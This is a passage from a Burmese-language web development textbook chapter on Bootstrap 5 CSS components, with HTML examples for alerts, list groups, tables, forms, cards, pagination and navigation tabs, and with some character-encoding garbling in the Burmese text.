lay:block}body{margin:0;font-
family:Roboto,Arial;font-
size:1rem;font-
weight:400;line-
height:1.5;color:#212529;text-
align:left;background-
color:#fff}hr{box-
sizing:content-
box;height:0;overflow:visible}

ဒီအခန်းရဲ့ရည်ရွယ်ချက်ကdတာ့  အခုလုိအသံုးအနှုန်းdတွကို  ကြကိုတင်ရှင်းလင်းထားgခင်းအားgoင့်
dနာက်ပုိင်းမှာ  ဆက်လက်dလ့လာရတာ  ပုိမိုgမန်ဆန်သွားdစoုိ့  goစ်ပါတယ်။  ကြကိုရှင်းမထားရင်  zာကို
ဆိုလုိမှန်း မသိတဲ့ အတိုdကာက် အသံုးအနှုန်းdတွdeကာင့် dနာက်ပုိင်းမှာ မျက်စိလည်dနeကမှာ စိုးလို့ပါ။
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အခန်း (၄) – Bootstrap CSS Components

Bootstrap  ကို  CSS  Components,  JavaScript  Components,  Layouts  စသgoင့်အပုိင်းလုိက်ခွဲပြပီး
dလ့လာ သွားeကပါမယ်။ ဒီအခန်းမှာ dလ့လာမယ့် Components dတကွdတာ့ CSS Component dတွပါ။
ရိုးရိုးdလးdgပာရရင် ကြကိုတင်dရးသားdပးထားတဲ့ CSS ကုဒ်dတွပါပဲ။ ဥပမာ - <a> Element dတွကို CSS
နဲ့ Button ပံုစံdလးdတွ goစ်dအာင် ကိုယ့်zာသာ dရးမယ်ဆိုရင် ရပါတယ်။ ဒီလုိdရးရမှာပါ။

 HTML 
<a href="#" class="first">Link Button</a>
<a href="#" class="second">Link Button</a>

 CSS 
a {

display: inline-block;
padding: 10px 20px;
color: white;
text-decoration: none;
border-radius: 5px;

}

.first {
background: blue;;

}

.second {
background: green;

}

နမူနာအရ  <a> Element  နှစ်ခုလံုးအတွက်  padding dတွ  border-radius dတွ  သတ်မှတ်
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dပးလုိက်တဲ့အတွက်  Button  dလးdတွနဲ့  တူသွားပါတယ်။  ပြပီးdတာ့မှ  အdရာင်မတူချင်လ့ုိ  သက်ဆိုင်ရာ
class အလုိက်  background dတွ သတ်မှတ်dပးထားတာပါ။  စမ်းeကည့်လုိက်ရင် ရလဒ်က ဒီလုိပံုစံ
goစ်ပါလိမ့်မယ်။

အလားတူ ရလဒ်မျ ို းရo့ုိအတွက် Bootstrap ကိုအသံုးgပုပြပီး အခုလုိ dရးနိုင်ပါတယ်။

CSS  ကုဒ်dတွ ကိုယ့်zာသာ မdရးdတာ့ပါzူး။  @import နဲ့  Bootstrap CSS  oုိင်ကို  ချတိ်dပးလုိက်ပြပီး
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Element dတွမှာ Bootstrap က သတ်မှတ်ထားတဲ့အတိုင်း class ကို မှန်dအာင်dပးလုိက်ယံုနဲ့ လုိချင်တဲ့
ရလဒ်ကို ရရှိgခင်းgoစ်ပါတယ်။  Bootstrap  က CSS  ကုဒ်dတွကို ကြကိုdရးdပးထားတဲ့အတွက်ကိုယ်က အခု
လုိ အသင့်ထည့် သံုးနိုင်gခင်း goစ်ပါတယ်။  Bootstrap    သdzာသzာဝ အနှစ်ချုပ်က ဒါပါပဲ။ သူက    CSS  
ကုဒ်dတွ dရးထားdပးတယ်။ ကိုယ်က ယူသံုးနိုင်ပါတယ်။

Bootstrap  ကို  စတင်အသုံးgပုနိုင်o့ုိအတွက် နည်းလမ်းအမျ ို းမျ ို း ရိှပါတယ်။ သ့ူဝz်ဆိုက်ကိုသွားပြပီးdတာ့
Download ရယူနိုင်သလုိ NPM နဲ့လည်း Download ရယူနိုင်ပါတယ်။ CDN ကdန တိုက်ရိုက်ချတိ်ပြပီးdတာ့
လည်း အသံုးgပုလ့ုိရပါတယ်။ ဒီစာအုပ်မှာdတာ့  Code Pen ကိုအသံုးgပုပြပီး နမူနာdတွ doာ်gပdနသလုိ စာ
oတ်သူကိုလည်း  Code  Pen  မှာပဲ  တစ်ခါထဲ  လုိက်dရးစမ်းdစလုိတဲ့အတွက်  CDN  ကdန  တိုက်ရိုက်
ချတိ်ဆက် အသုံးgပုတဲ့နည်းကို သံုးပါမယ်။

CDN  ကdန ချတိ်ချင်ရင်  နည်းလမ်းနှစ်မျ ို းနဲ့  ချတိ်နိုင်ပါတယ်။  တစ်နည်းကdတာ့  HTML  ထဲမှာ  အခုလုိ
<link> Element ကိုသံုးပြပီး ချတိ်နိုင်ပါတယ်။

 HTML 
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/ 
dist/css/bootstrap.min.css">

dနာက်တစ်နည်းအdနနဲ့ အထက်ကနမူနာမှာသံုးခဲ့သလုိ CSS ထဲမှာ @import နဲ့ ချတိ်ပြပီးသုံးနိုင်ပါတယ်။

 CSS 
@import("https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/
bootstrap.min.css");

ဒီdနရာမှာ Version နံပါတ်ကိုသတိထားပါ။ နမူနာdပးထားတဲ့  Bootstrap oုိင်လိပ်စာမှာ 5.1.3 လ့ုိပါdနပါ
တယ်။ ဒီစာdရးdနစဉ်မှာ  ထွက်ထားတဲ့  dနာက်ဆုံး  Version  ပါ။  စာoတ်သူက  လက်dတွ့စမ်းသပ်စဉ်မှာ
dနာက်ဆုံးdရာကရ်ှိdနတဲ့    Version   ကိုdလ့လာပြပီး အ့ဲဒီ    Version   ကို အသံုးgပုသင့်ပါတယ်  ။  Bootstrap  ရဲ့
Documentation မှာပဲ eကည့်လုိက်လို့ ရပါတယ်။

- https://getbootstrap.com/

https://getbootstrap.com/
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ဆက်လက်ပြပီး  Bootstrap  ရဲ့  Component  နမူနာdတွ စတင်dလ့လာပါdတာ့မယ်။  Code Pen  မှာ  CDN
ကoုိင်ကို <link> dတွ @import dတွနဲ့dတာင်ချတိ်စရာမလုိပါzူး။ Pen Setting ရဲ့ CSS Section မှာ
ကိုယ်သုံးချင်တဲ့ oုိင်ကို ကြကိုထည့်dပးထားလ့ုိရပါတယ်။ ဒီလိုပါ –

Setting ရဲ့  CSS Section ကိုdရွးလုိက်ရင် Preprocessor, Reset, Vendor Prefix စသgoင့်  Option dတွ့
ကို dတွ့ရပါလိမ့်မယ်။ ဒါdတွအdeကာင်းကို ကြကိုdgပာgပထားပြပီးသားပါ။ ဒါdပမယ့် ကိုယ့်zာသာ အ့ဲဒီနည်း
ပညာdတွ တစ်ခုချင်းdရွးdပးစရာ မလုိပါzူး။ Bootstrap ကို သံုးမှာမုိ့လ့ုိ  Bootstrap ထဲမှာ ဒါdတွအကုန်
ပါပြပီးသားပါ။  External  Stylesheets  ဆိုတဲ့  dနရာမှာသာ  Bootstrap  CSS  oုိင်တည်dနရာကို  ထည့်
dပးလုိက်ရင်ရပါပြပီ။ 

ထည့်ရမယ့်လိပ်စာကို doာ်gပdပးလုိက်ပါတယ်။ ကူးdရးမယ့်အစား Bootstrap Documentation မှာ သွား
ရှာပြပီး ထည့်dပးလုိက်သင့်ပါတယ်။ ကူးdရးမယ်ဆိုရင်၊ ရှည်တဲ့အတွက် စာလံုးdတွကျန်ပြပီး မှားနိုင်လို့ နည်း
နည်းZရုစိုက်dပးပါ။

https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css

ဒီလုိထည့်သွင်းပြပီးပြပီဆိုရင်dတာ့  Bootstrap  Component  နမူနာdတွ  စတင်dရးသား  စမ်းသပ်လို့ရပါပြပီ။

https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css
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တစ်ခါထဲ  လက်dတွ့လုိက်လုပ်  eကည့်dစချင်ပါတယ်။  မခက်သလုိ  dပျာ်oို့လည်းdကာင်းပါတယ်။  လွယ်
လွယ်dလးနဲ့ ရလဒ်dတွ့gမင်ရမှာ မ့ုိလို့ပါ။ 

Alerts
Alert  Component  ဟာ  အသံုးဝင်တဲ့  Component  တစ်ခုပါ။  ဝz်ဆိုက်နဲ့  User  Interface  dတွ
တည်dဆာက်တဲ့အခါ  User ကို အသိdပးစာ၊ သတိdပးစာdလးdတွ gပချင်တဲ့အခါ သံုးeကပါတယ်။ အလုပ်
တစ်ခု ပြပီးသွားdeကာင်း အသိdပးမယ်။ Error တက်သွားdeကာင်း သတိdပးမယ် စသgoင့်ပါ။ alert Class
ကို သံုးရပါတယ်။ ဒီလုိပါ။

 HTML 
<div class="alert alert-success">
    Successfully completed something
</div>

ဒါဆိုရင်  သပ်သပ်ရပ်ရပ်  အdရာင်ချယ်ပြပီး  gပdပးတဲ့  Alert  Box  ပံုစံdလးတစ်ခုကို  ရရိှမှာgoစ်ပါတယ်။
Bootstrap မှာ Color Class dတရွှိပါတယ်။ နမူနာမှာပါတဲ့  alert-success ဟာ Color Class တစ်ခု
goစ်ပါတယ်။ တgခား Color Class dတွရှိပါdသးတယ်။

• primary
• secondary
• success
• danger
• warning
• info
• light
• dark

alert-success ရဲ့ success dနရာမှာ dပးထားတဲ့ Color Class dတွထဲက ကြကိုက်တာနဲ့ အစားထုိး
ပြပီး သံုးလ့ုိရပါတယ်။ အခုလုိ နမူနာdလးတစ်ချ ို ့ စမ်းeကည့်လိုက်ပါ။



PWD 2022 – အခန်း (၄) – Bootstrap CSS Components 102

alert Class ကိုသုံးထားလ့ုိ Alert Box dလးdတွနဲ့ gပတာချင်းတူdပမယ့် Color Class မတူလ့ုိ အdရာင်
dလးdတွ ကွဲgပားသွားတာကို  dတွ့ရမှာပါ။  Bootstrap  နဲ့  ဒါမျ ို းdလးdတွကို  အလွယ်တကူရရှိနိုင်တာပါ။
Color Class   dလးdတွကို မှတ်ထားdပးပါ။ dနာက်ပုိင်းမှာ ခဏနေခဏနေ အသံုးgပုရမှာပါ  ။

List Groups
ဆက်လက်dလ့လာချင်တာကdတာ့  List  Group  goစ်ပါတယ်။  သူလည်း  အသံုးများပါတယ်။  <ul> တို့
<ol> တို့လုိ  Bullet/Number  List  dတွကို  App  dတွမှာdတွ့ရdလ့ရှိတဲ့  Block  List  dလးgoစ်dအာင်
oန်တီးdပးပါတယ်။ ဒီလုိdရးရပါတယ်။

 HTML 
<ul class="list-group">

<li class="list-group-item">Item One</li>
<li class="list-group-item">Item Two</li>
<li class="list-group-item">Item Three</li>
<li class="list-group-item">Item Four</li>
<li class="list-group-item">Item Five</li>

</ul>

တစ်ကယ်dတာ့  <ul> dတွ  <ol> dတွမှ  မဟုတ်ပါzူး၊  မည်သည့်  Element  ကိုမဆို  သံုးလ့ုိရပါတယ်။
ပင်မ Element မှာ list-group Class dပးပြပီး အတွင်းထဲက Item dတွမှာ list-group-item ကို
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dပးo့ုိသာလုိပါတယ်။  ရလဒ်ကိုeကည့်လုိက်မယ်ဆိုရင်  အခုလုိ  သပ်သပ်ရပ်ရပ်  dzာင်ခတ်dပးထားတဲ့
Block List dလးနဲ့ gပdပးတာကို dတွ့ရမှာ goစ်ပါတယ်။

Item  dတွထဲက တစ်ခုကို  dရွးထားတဲ့ပုံစံ  (သ့ုိမဟုတ်)  ဦးစားdပးdoာ်gပတဲ့  ပံုစံ  goစ်dစချင်ရင်  active
Class ကိုသုံးနိုင်ပါတယ်။ active Class ပါသွားတဲ့ Item ကို Highlight လုပ်ပြပီးgပdပးတာပါ။ 

 HTML 
<ul class="list-group">

<li class="list-group-item">Item One</li>
<li class="list-group-item active">Item Two</li>
<li class="list-group-item">Item Three</li>
<li class="list-group-item">Item Four</li>
<li class="list-group-item">Item Five</li>

</ul>

ရလဒ်ကိုeကည့်လုိက်မယ်ဆိုရင် အခုလုိပံုစံgoစ်ပါလိမ့်မယ်။



PWD 2022 – အခန်း (၄) – Bootstrap CSS Components 104

active Class  ပါသွားတဲ့  Item  ကို  Highlight  လုပ်ပြပီးgပdပးတာပါ။  active ကိုမသံုးzဲ dစာdစာက
dgပာခဲ့တဲ့ Color Class dတွကို သံုးမယ်ဆိုရင်လည်းရပါတယ်။ ဒီလုိပါ –

နမူနာမှာ  list-group-item-success ကို  သံုးgပထားပါတယ်။  success အစား  နှစ်သက်ရာ
Color Class နဲ့အစားထိုးပြပီးစမ်းeကည့်နိုင်ပါတယ်။ 
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Tables
Bootstrap  Documentation  ကိုသွားeကည့်လုိက်ရင်  Table  ကို  Component  စာရင်းထဲမှာ  dတွ့ ရမှာ
မဟုတ်ပါzူး။ Content စာရင်းထဲမှာ ထည့်ထားပါတယ်။ ဒါdပမယ့် Table ဟာလည်းပဲ Component တစ်
ခုအdနနဲ့ အသုံးများပါတယ်။ သ့ူအတွက် Class ကလည်း အထူးမှတ်စရာ မလိုပါzူး။ table ဆိုတဲ့ Class
ကိုပဲ သံုးရတာပါ။ ဒီလိုပါ – 

 HTML 
<table class="table">

<tr>
<th>ID</th>
<th>Name</th>
<th>Age</th>

</tr>
<tr>

<td>1</td>
<td>Alice</td>
<td>22</td>

</tr>
<tr>

<td>2</td>
<td>Bob</td>
<td>23</td>

</tr>
</table>

table နဲ့အတူ ပူးတွဲပြပီးသံုးeကdလ့ရှိတဲ့  Class  dတွdတာ့ ရှိပါတယ်။  table-striped နဲ့  table-
bordered တို့ကို အသံုးများeကပါတယ်။ table-striped က Row dတွကို gပတဲ့အခါ တစ်deကာင်း
dကျာ်စီ  အdရာင်ခွဲgပdစo့ုိ goစ်ပါတယ်။ အသုံးဝင်ပါတယ်။ ပါဝင်တဲ့အချက်အလက်များတဲ့  Table  dတွမှာ
အ့ဲဒီလုိခွဲgပမှသာ အချက်အလက်dတွကို  oတရ်တာ အဆင်dgပdစမှာ goစ်ပါတယ်။  table-bordered
ကdတာ့ Table ကို dzာင် အgပည့်ခတ်ပြပီး gပdစချင်တဲ့အခါ သံုးoုိ့ပါ။ မgoစ်မdန ထည့်dပးရမှာ မဟုတ်zဲ
လုိအပ်ရင်သံုးo့ုိ goစ်ပါတယ်။ စမ်းeကည့်လုိက်မယ်ဆိုရင် ရလဒ်ကို အခုလုိdတွ့gမင်ရမှာပါ။
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နမူနာမှာ  table-striped နဲ့  table-bordered တို့ကိုပါထည့်gပထားပါတယ်။ မပါzဲလည်း စမ်း
eကည့်သင့်ပါတယ်။ ဒီdတာ့မှ zာကွာလဲဆိုတာကို လက်dတွ့gမင်သွားမှာပါ။ Table နဲ့ပက်သက်ပြပီး လုပ်လ့ုိ
ရတာdတွ  အများကြကီးရှိပါတယ်။  ဒါdပမယ့်  ဒီdနရာမှာ  အသံုးများမယ့်  လုပ်dဆာင်ချက်dလးdတွကိုသာ
dရးွမှတ်ပါ။ Table မှာလည်း Color Class dတွသံုးလ့ုိရပါတယ်။ ဒီလိုပါ –

နမူနာမှာdပးထားတဲ့  table-dark ရဲ့  dark dနရာမှာ တgခား Color Class နဲ့အစားထုိးပြပီး စမ်းeကည့်
လ့ုိရပါတယ်။
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Forms
Form  ဟာလည်းပဲ  Documentation  မှာသွားeကည့်ရင်  Component  စာရင်းထဲမှာ  မပါပါzူး။  သီးgခား
dခါင်းစဉ်တစ်ခုနဲ့  ခွဲdပးထားပါတယ်။ ဒီdနရာမှာdတာ့  တစ်ခါထဲပဲ  တွဲပြပီးdoာ်gပပါမယ်။ သ့ူမှာ dရးစရာနဲ့
မှတ်စရာနည်းနည်းdတာ့ များပါတယ်။ ဒီလိုပါ –

 HTML 
<form>

<div class="mb-3">
<label for="name">Name</label>
<input type="text" id="name" class="form-control">

</div>
<div class="mb-3">

<label for="address">Address</label>
<textarea id="address" class="form-control"></textarea>
<div class="form-text">Enter your full address</div>

</div>
<div class="mb-3">

<label for="gender">Gender</label>
<select id="gender" class="form-select">

<option>Male</option>
<option>Female</option>

</select>
</div>
<button class="btn btn-primary">Submit Form</button>

</form>

ပထမဆုံး <div> မှာ dပးထားတဲ့ mb-3 Class ကို သတိgပုပါ။ Margin Bottom သတ်မှတ်လုိက်တာပါ။
တစ်ခုနဲ့တစ်ခု နည်းနည်းကွာသွားdစo့ုိအတွက်ပါ။ အသုံးဝင်တဲ့ Utility Class goစ်ပါတယ်။ အရင် Version
dတွမှာ  form-group လ့ုိdခါ်တဲ့  Class  တစ်ခုပါdပမယ့်  Bootstrap 5  မှာ  မပါdတာ့တာကို  dတွ့ရပါ
တယ်။ ဒါdeကာင့်  Input Group  dတွ  တစ်ခုနဲ့တစ်ခု  ကွာသွားdစo့ုိ  mb Class  ကိုပဲ  သံုးရdတာ့မှာပါ။  3
dနရာမှာ  1-5 ကြကိုက်တဲ့တန်oုိး dgပာင်းdပးeကည့်ပါ။ အဓိက Input သံုးမျ ို းgoစ်တဲ့  Text Input, Textarea
နဲ့  Select  တို့ကို နမူနာdပးထားပါတယ်။ Text Input  နဲ့  Textarea တို့အတွက်  form-control ဆိုတဲ့
Class ကိုသံုးပါတယ်။ Select အတွက်လည်း form-control ကိုပဲ သံုးလ့ုိရပါတယ်။ ဒါdပမယ့် Select
Box မှန်းdပါ်လွင်dစတဲ့  Down Arrow dလးdနာက်ဆုံးမှာ ပါdစချင်လ့ုိ form-select ဆိုတဲ့  Class ကို
သံုးထားတာကို သတိgပုရမှာ goစ်ပါတယ်။



PWD 2022 – အခန်း (၄) – Bootstrap CSS Components 108

နမူနာမှာ  form-text Class  ကိုသုံးထားတဲ့  Element  တစ်ခုပါdသးတာကိုလည်း  dတွ့ရနိုင်ပါတယ်။
zာကိdုရးgoည့်ရမှာလဲရှင်းgပတဲ့ ရှင်းလင်းချက်dလးdတွ တွဲထည့်o့ုိအတွက် သင့်dတာ်ပါတယ်။ dနာက်ဆုံး
တစ်ခုgoစ်တဲ့  Button  ကdတာ့  ဟိုးအdပါ်မှာလည်း  တစ်ခါdတွ့ခဲ့oူးပြပီးသားပါ။  btn Class  ကိုသုံးပြပီး
primary dနရာမှာ တgခား  Color Class  dတွကို  လုိအပ်ရင် သံုးနိုင်ပါတယ်။ ရလဒ်ကို  စမ်းeကည့်လုိက်
မယ်ဆိုရင် အခုလုိdတွ့ရမှာပါ။

dနာက်ထပ်goည့်စွက်dလ့လာသင့်တာကdတာ့  Input  Group  လ့ုိdခါ်တဲ့  လုပ်dဆာင်ချက်goစ်ပါတယ်။
Input dတွကို Button dတွ၊ စာdတွနဲ့ ပူးတွဲပြပီး eကည့်dကာင်းdအာင် gပတဲ့လုပ်dဆာင်ချက်မျ ို းပါ။

 HTML 
<form>

<div class="input-group mb-3">
<input type="text" class="form-control">
<button class="btn btn-secondary">Search</button>

</div>
<label for="email">Enter Your Gmail Address</label>
<div class="input-group mb-3">

<input type="text" id="email" class="form-control">
<span class="input-group-text">@gmail.com</span>

</div>
</form>



PWD 2022 – အခန်း (၄) – Bootstrap CSS Components 109

နမူနာမှာ <div> ရဲ့ Class ကို  input-group လ့ုိ သတ်မှတ်dပးထားတာကို သတိgပုပါ။ နမူနာနှစ်မျ ို း
dပးထားပါတယ်။ ပထမတစ်ခုက Text Input နဲ့ Button ကို Input Group ထဲမှာ ထည့်လုိက်တဲ့အခါ ပူးတွဲ
ပြပီး  eကည့်dကာင်းdအာင် gပdပးမှာပါ။  Button  မဟုတ်zဲ ရိုးရိုးစာကို  Input  နဲ့တွဲgပချင်တယ်ဆိုရင်dတာ့
input-group-text Class  သတ်မှတ်ထားတဲ့  Element  ကိုသံုးတယ်ဆိုတာကို  dတွ့ရနိုင်ပါတယ်။
စမ်းeကည့်လုိက်ရင် ရလဒ်ကဒီလုိgoစ်မှာပါ။

input-group-text Class သတ်မှတ်ထားတဲ့ Element ကို Input ရဲ့dရှ့မှာထားလ့ုိရသလုိ dနာက်မှာ
ထားလ့ုိလည်း ရပါတယ်။ dရှ့ dနာက်နှစ်ခုထည့်ချင်လည်း ရပါတယ်။ dရှ့ မှာချည်းပဲနှစ်ခု၊ dနာက်မှာချည်းပဲ
နှစ်ခုထည့်ချင်ရင်လည်း ရတာပါပဲ။ အမျ ို းမျ ို းစမ်းeကည့်နိုင်ပါတယ်။

Bootstrap 5 Alpha 3 ကျdတာ့မှ စပါလာတဲ့ Floating Label လုပ်dဆာင်ချက်ကိုလည်း goည့်စွက် doာ်gပ
ချင်ပါတယ်။ Bootstrap မှာ ဒီလုပ်dဆာင်ချက်က အခုမှပါdပမယ့် လက်dတွ့ပdရာZျက်dတွမှာ လူသံုးများ
dနပြပီးသားပါ။  Google  ရဲ့  Material Design  လ့ုိdခါ်တဲ့  dနာက်ထပ် ဒီဇုိင်းနည်းပညာ တစ်ခုကdနလာတဲ့
လုပ်dဆာင်ချက်ပါ။  Android  Mobile  App  dတွမှာ  ဒီလုပ်dဆာင်ချက်ကို  မeကာခဏနေdတွ့ရနိုင်ပါတယ်။
ပထမ Input အတွင်းထဲမှာ Label ကရှိdနပြပီး Input မှာ Focus goစ်သွားdတာ့မှသာ Label dလးက dနရာ
oယ်dပးတဲ့ သdzာနဲ့ အdပါ်dရ¢့ပြပီး gပdပးတဲ့ လုပ်dဆာင်ချက်goစ်ပါတယ်။ အခုလုိdရးရပါတယ်။
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 HTML 
<div class="form-floating mb-3">
  <input type="text" class="form-control" id="name"
         placeholder="Your Name">
  <label for="name">Your Name</label>
</div>
<div class="form-floating">
  <input type="text" class="form-control" id="email"
         placeholder="Email Address">
  <label for="email">Email Address</label>
</div>

ပင်မ Element မှာ form-floating Class ပါဝင်ပြပီး Input dတွမှာ placeholder Attribute ပါတာ
ကို  သတိgပုပါ။  Placeholder  ကို  အရင်gပပြပီး  Focus  goစ်dတာ့မှ  <label> ကို  dgပာင်းgပdပးမှာ goစ်ပါ
တယ်။ Placeholder မပါzဲလည်း စမ်းeကည့်နိုင်ပါတယ်။

Button Groups & Pagination
Button Group ကို  Toolbar  ပံုစံ  Button  dတွစုoဲွ့ပြပီး သပ်သပ်ရပ်ရပ်gပdစလုိတဲ့အခါ သံုးနိုင်ပါတယ်။ သူ
ကdတာ့ မှတရ်လွယ်ပါတယ်။ ထူးထူးဆန်းဆန်း မဟုတ်ပါzူး။ btn-group ထဲမှာ btn dတွကို စုစည်း
dပးလုိက်တာပါပဲ။ ဒီလုိပါ –
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 HTML 
<div class="btn-group">

<a href="#" class="btn btn-primary">Left</a>
<a href="#" class="btn btn-primary">Center</a>
<a href="#" class="btn btn-primary">Right</a>

</div>

<button> Element  ကိုမသံုးzဲ  <a> Element  dတွကို သံုးထားတာကို သတိgပုပါ။ ကိုယ့်လုိအပ်ချက်
dပါ်မူတည်ပြပီး ကြကိုက်တဲ့ Element ကိုသံုးပါ။ သုံးလ့ုိရပါတယ်။ btn dတွမှာ Color Class dတွသံုးတဲ့အခါ
Background  Color  နဲ့  gပdပးတာကို  dတွ့ခဲ့eကပြပီး  goစ်ပါလိမ့်မယ်။  Background  Color  နဲ့မဟုတ်zဲ
Border Color နဲ့gပdစချင်ရင်လည်းရပါတယ်။ ဒီလုိdရးရပါတယ် –

 HTML 
<div class="btn-group">

<a href="#" class="btn btn-outline-primary">Left</a>
<a href="#" class="btn btn-outline-primary">Center</a>
<a href="#" class="btn btn-outline-primary">Right</a>

</div>

Pagination ဆိုတာကdတာ့ Content dတွများလ့ုိ ခွဲပြပီးgပတဲ့အခါ 1, 2, 3, 4 စသgoင့် လုိချင်တဲ့စာမျက်နှာ
ကို  သွားလ့ုိရတဲ့  ခလုပ်dလးdတွပါ။ dတွ့ oူးeကပါလိမ့်မယ်။ သူက  Button Group  နဲ့  dရးသားပံု မတူdပ
မယ့် doာ်gပပံုဆင်တူပါတယ်။ ဒါdeကာင့် တစ်ခါထဲအတွဲလုိက် ထည့်eကည့်ချင်ပါတယ်။ <ul><li> <a>
တို့ကို အသံုးgပုပြပီး အခုလုိdရးရပါတယ်။

 HTML 
<ul class="pagination">

<li class="page-item">
<a href="#" class="page-link">1</a>

</li>
<li class="page-item">

<a href="#" class="page-link">2</a>
</li>
<li class="page-item">

<a href="#" class="page-link">3</a>
</li>

</ul>
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<ul> အတွက်  pagination Class  ကိုသတ်မှတ်dပးရပါတယ်။  <li> အတွက်  page-item ကို
သတ်မှတ်dပးရပြပီး <a> အတွက် page-link ကို သတ်မှတ်dပးရgခင်း goစ်ပါတယ်။ မှတ်စရာ (၃) ခုgoစ်
သွားdပမယ့် မှတ်ရdတာ့ မခက်လှပါzူး။ ဒါdတွအားလံုးကို dပါင်းပြပီး အခုလုိ နမူနာစမ်းeကည့်နိုင်ပါတယ်။

Cards
Card Component ကdတာ့ တစ်ချ ို ့ စုoဲွ့ပြပီး အတွဲလုိက်gပရမယ့်အချက်အလက်dတွ gပoို့အတွက် သံုးရတဲ့
Component ပါ။ dခါင်းစဉ်၊ စာကိုယ်၊ ခလုပ်၊ လင့်၊ ပံု စသgoင့် သင့်dတာ်သလုိ တွဲoက်doာ်gပoို့ လုိအပ်ရင်
သံုးရတာပါ။ အသံုးဝင်ပါတယ်။ dခါင်းစဉ်၊  စာကိုယ်နဲ့  ခလုပ်တစ်ခုပါတဲ့  Card  တစ်ခုကို  အခုလိုoန်တီးယူ
နိုင်ပါတယ်။

 HTML 
<div class="card">

<div class="card-body">
<h5 class="card-title">Card Title</h5>
<p>Some card content</p>
<a href="#" class="btn btn-primary">More...</a>

</div>
</div>
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ပင်မ Element မှာ card Class ကို သတ်မှတ်dပးရပြပီး၊ ကျန်တဲ့ dခါင်းစဉ်dတွ စာကိုယ်dတွ အကုန်လံုးကို
card-body ထဲမှာ အကုန်စုထည့် dပးလုိက်တာပါ။ dခါင်းစဉ်အတွက်  card-title Class  ကိုသုံးပါ
တယ်။ card-subtitle လည်း လုိအပ်ရင်သံုးလ့ုိရပါdသးတယ်။ ခလုပ်ကိုdတာ့ btn Class ပဲသံုးထား
ပြပီး Link dတွထည့်ချင်ရင် card-link Class ကို btn အစားသံုးနိုင်ပါတယ်။ စမ်းeကည့်လုိက်ရင် ရလဒ်
ကို အခုလုိdတွ့gမင်ရမှာပါ –

Card အတွင်းထဲမှာ Header, Body နဲ့ Footer ဆိုပြပီး အပုိင်းလုိက်ခွဲထည့်ချင်ရင်လည်း ထည့်လို့ရပါတယ်။

 HTML 
<div class="card">

<div class="card-header">
<strong>Card Header</strong>

</div>
<div class="card-body">

Some card content
</div>
<div class="card-footer">

<small>Card Footer</small>
</div>

</div>
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card-header, card-body, card-footer Class dတွကို သ့ူdနရာနဲ့သူ သံုးdပးလုိက်တာပါ။
စမ်းeကည့်လုိက်မယ်ဆိုရင် အခုလုိ အပုိင်းလုိက်ခွဲပြပီးdoာ်gပdပးတဲ့ ရလဒ်ကိုရရှိမှာgoစ်ပါတယ်။

List dတွ Table dတွ Image dတွကိုလည်း Card နဲ့တွဲပြပီး သံုးချင်ရင် သံုးလ့ုိရပါdသးတယ်။ ဒီလုိပါ –
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နမူနာမှာ list-group Component ကို Card ထဲမှာ ထည့်သံုးထားပါတယ်။ list-group-flush
Class  ကို  တဲွdပးထားတာသတိgပုပါ။  list-group မှာ  dzးdzာင်dတွကို  မပါdစချင်ရင်  သံုးရတဲ့
Class goစ်ပါတယ်။ List မှာ dzးdzာင်dတွပါdနရင် Card ရဲ့dzာင်နဲ့dရာပြပီး နှစ်ထပ်goစ်သွားရင် eကည့်
မdကာင်းလ့ုိ ဒီ  Class ကို တဲွထည့်dပးထားတာပါ။ Card dတွကို အdရာင်dတွခွဲပြပီး သံုးချင်ရင်dတာ့  bg,
text, border စတဲ့ Utility Class dတွကို သံုးနိုင်ပါတယ်။ ဒီလိုပါ –

နမူနာမှာ  bg-primary ကိုသံုးပြပီး  အdရာင်dgပာင်းထားပါတယ်။  တgခား  Color  Class  dတွထဲက
နှစ်သက်ရာကို  သံုးနိုင်ပါတယ်။ dနာက်ခံ အdရာင်ထည့်ထားdတာ့ စာdတွမဲdနရင် oတ်ရတာအဆင်မdgပ
လ့ုိ text-light ကိုသုံးထားပါတယ်။ သူလည်းပဲ လုိအပ်ရင်တgခား Color Class dတွ သံုးနိုင်ပါတယ်။ 

dနာက်ခအံdရာင်  အgပည့်မထည့်လုိပဲ  Border  dလာက်ကိုပဲအdရာင်dgပာင်းရင်လည်း eကည့်လ့ုိdကာင်းပါ
တယ်။  border-success လုိ  Class  မျ ို းထည့်ပြပီး  စမ်းeကည့်နိုင်ပါတယ်။  ထံုးစံအတိုင်း  success
အစား နှစ်သက်ရာ Color Class နဲ့သံုးလ့ုိရနိုင်ပါတယ်။
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Navs & Tabs
ဆက်eကည့်မှာကdတာ့  Tab UI  အdeကာင်းပါ။ အသံုးဝင်ပြပီး dနရာတိုင်းမှာ dတွ့ gမင်ရတဲ့လုပ်dဆာင်ချက်
တစ်ခု goစ်ပါတယ်။  Bootstrap  ကdတာ့  Navs  လ့ုိdခါ်ပါတယ်။ သူလည်းပဲ  <ul><li><a> ကိုသံုးရပါ
တယ်။ ဒီလုိပါ –

 HTML 
<ul class="nav nav-tabs">

<li class="nav-item">
<a href="#" class="nav-link active">All User</a>

</li>
<li class="nav-item">

<a href="#" class="nav-link">All User</a>
</li>
<li class="nav-item">

<a href="#" class="nav-link">All User</a>
</li>

</ul>

မှတ်စရာများdပမယ့် မှတရ်လွယ်ပါတယ်။ ပင်မ <ul> အတွက်  nav nav-tabs ဆိုတဲ့  Class dတွကို
dပးရပြပီး  <li> dတွအတွက်  nav-itemကိုdပးရပါတယ်။ <a> dတွအတွက်dတာ့  nav-link Class
ကို သတ်မှတ်dပးရပါတယ်။ active Class ကdတာ့ လက်ရှိ dရွးထားသကဲ့သုိ့ doာ်gပdစလုိတဲ့ တစ်ခုမှာ
သတ်မှတ်dပးရတာပါ။ စမ်းeကည့်ရင် ရလဒ်ကို အခုလုိdတွ့ရမှာ goစ်ပါတယ်။
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နမူနာမှာ  Tab dတွက zယ်zက်တစ်gခမ်းမှာ စုoဲွ့ပြပီး dနရာယူထားတာပါ။  Screen အgပည့် dနရာယူdစ
ချင်ရင်dတာ့ nav-fill Class ကို သံုးdပးနိုင်ပါတယ်။

 HTML 
<ul class="nav nav-tabs nav-fill">

...
</ul>

nav-tabs အစား nav-pills ကိုလည်း သံုးနိုင်ပါတယ်။ 

 HTML 
<ul class="nav nav-pills">

